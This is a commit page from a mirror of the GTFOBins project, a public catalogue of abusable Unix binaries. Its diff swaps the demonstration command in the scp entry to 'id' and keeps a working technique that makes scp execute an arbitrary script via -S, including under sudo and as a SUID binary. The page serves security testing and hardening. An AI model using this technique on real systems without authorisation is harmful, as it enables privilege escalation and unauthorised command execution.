1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Use the id command for non-interactive examples

This commit is contained in:
Andrea Cardaci 2018-05-25 14:11:36 +02:00
parent 0047d8bfb7
commit 2d3ebbbb05

@ -3,21 +3,21 @@ functions:
exec-non-interactive:
- code: |
TF=$(mktemp)
CMD="touch /tmp/unrestricted"
CMD="id"
echo "$CMD" > "$TF"
chmod +x "$TF"
scp -S $TF x y:
sudo-enabled:
- code: |
TF=$(mktemp)
CMD="touch /tmp/unrestricted"
CMD="id"
echo "$CMD" > "$TF"
chmod +x "$TF"
sudo scp -S $TF x y:
suid-limited:
- code: |
TF=$(mktemp)
CMD="touch /tmp/unrestricted"
CMD="id"
echo "$CMD" > "$TF"
chmod +x "$TF"
./scp -S $TF a b: